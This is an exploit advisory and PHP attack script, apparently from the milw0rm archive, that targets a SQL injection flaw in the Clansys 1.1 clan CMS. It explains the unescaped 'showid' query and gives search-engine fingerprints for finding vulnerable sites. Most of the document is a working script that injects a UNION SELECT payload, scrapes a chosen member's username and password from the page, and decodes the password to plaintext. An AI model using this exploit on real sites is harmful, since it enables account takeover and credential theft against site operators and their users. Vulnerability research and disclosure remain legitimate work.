Clansys v.1.1 (showid) Remote SQL Injection Exploit
:
<?php /*
|---==============================================================---|
| /¯\__ /¯ |
| ____ ___ __ _ ___ \___ __ ___ |
| / __ / _ / __ / / ___ _ / __ / __ |
| /\__, / / / \_ \_ \_/ \__/ / __/ / |
| /\____/ \_ \_ \__/ \_\ \__ \____\ \_ \_ \____\ \_ |
| /___/ /_//_//__//_/ /__//____/ /_//_//____/ /_/ |
| >> Internet Security |
|---==============================================================---|
title: clansys 1.1 remote sql injection
release: 2006-04-10
author: snatcher [snatcher at gmx.ch]
country: switzerland |+|
application: clansys 1.1
description: a php / mysql based clan content management system
download: http://www.clanscripte.net/main.php?content=download&do=file&dlid=113
description: you can get each password with a simple sql injection. the password
is base64 encoded, but it's easy to decode, that means, you will get
the password in plaintext :)
fingerprint: google -> "Clansys v.1.1" -> 4'030
msn -> "Clansys v.1.1" -> 529
conditions:
greets: honkey, str0ke <- good exploit publisher :),
all security guys and coders over the world,
terms of use: this exploit is just for educational purposes, do not use it for illegal acts.
---------------------------- member.php - line 180 -------------------------------------
$sql = "SELECT * FROM member WHERE id=$showid";
-----------------------------------------------------------------------------------------
because this $showid isn't escaped correctly you can insert malicious sql code,
i.e. with a union operator.
*/
/*********************** CONFIGURATION ****************************/
$PATH_TO_FILE = 'http://yourhost.com/index.php'; // in example: http://yourhost.com/index.php
$USER_ID = 1; // which user? default: 1
$TABLE_PREFIX = ''; // default: empty
$GET_VARS = '?page=member&func=detail&showid='; // do not change
$SQL_INJECTION = '-666 union select 0,nick,realname,nick,pass,'. // do not change
'pass,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,'.
'0,0,0 from '.$TABLE_PREFIX.'member where id = '.
$USER_ID.' limit 1 /*';
/**************************** MAIN ********************************/
$file_array = file($PATH_TO_FILE.$GET_VARS.urlencode($SQL_INJECTION))or die('couldn't open host!');
foreach ($file_array as $now)
$html_content .= $now;
$html_content = str_castrate($html_content);
preg_match_all("!<tdwidth=224height=20valign=middlealign=center><p><br><br><b>(.*?)Details</p></td>!",
$html_content,$username); /* gets username */
preg_match_all("!wwp.icq.com/scripts/online.dll?icq=(.*?)=&img=5border=0align=top>!",
$html_content,$password); /* gets password */
if ($username[1][0] && $password[1][0]) {
echo 'username: <b>'.$username[1][0].'</b> (user_id: '.$USER_ID.')<br>';
echo 'password: <b>'.base64_decode($password[1][0]).'</b>';
}else {
echo 'exploit failed! <br>';
}
echo '<br><br><br><br><br>
======================================================================<br>
exploit: clansys 1.1 remote sql injection vulnerability<br>
release: 2006-04-10<br>
author: snatcher [snatcher at gmx.ch]<br>
======================================================================';
function str_castrate($string) {
$string = str_replace("
", '', $string);
$string = str_replace("
", '', $string);
$string = str_replace(" ", '', $string);
return $string;
}
?>
# milw0rm.com [2006-04-10]